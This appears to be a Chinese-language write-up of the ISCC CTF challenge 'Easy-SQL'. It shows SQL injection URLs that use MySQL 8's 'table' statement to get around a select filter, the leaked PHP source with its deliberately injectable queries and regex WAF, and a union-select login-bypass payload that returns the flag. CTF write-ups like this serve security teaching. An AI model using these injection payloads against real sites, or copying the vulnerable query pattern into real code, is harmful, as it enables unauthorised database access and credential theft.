ISCC,Web:Easy-SQL
select 等被过滤,绕不过id=1 至 8 有一些信息id=8 时用 sqlmap 可以查到数据库是 Mysql 8Mysql 8 存在 table 注入浅谈利用mysql8新特性进行SQL注入 - 安全客,安全资讯平台测是否存在http://59.110.159.206:7010/?id=-1 union table users limit 0,1存在,可以利用,由于 id=8 时提示查邮件
·
select 等被过滤,绕不过
id=1 至 8 有一些信息
id=8 时
用 sqlmap 可以查到数据库是 Mysql 8
Mysql 8 存在 table 注入
浅谈利用mysql8新特性进行SQL注入 - 安全客,安全资讯平台
测是否存在
http://59.110.159.206:7010/?id=-1 union table users limit 0,1
存在,可以利用,由于 id=8 时提示查邮件,看看是否存在 email
回显了 email,查 beaxia 的 email
http://59.110.159.206:7010/?id=-1 union table emails limit 7,1
http://59.110.159.206:7010/ypHeMPardErE.zip
下载解压得到源码
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
前面是过滤和 get 的一些语句,看后面输出 flag 的语句
分析后得到 payload
username=admin' union select 'admin','admin','admin'#&passwd=admin
更多推荐
已为社区贡献1条内容
所有评论(0)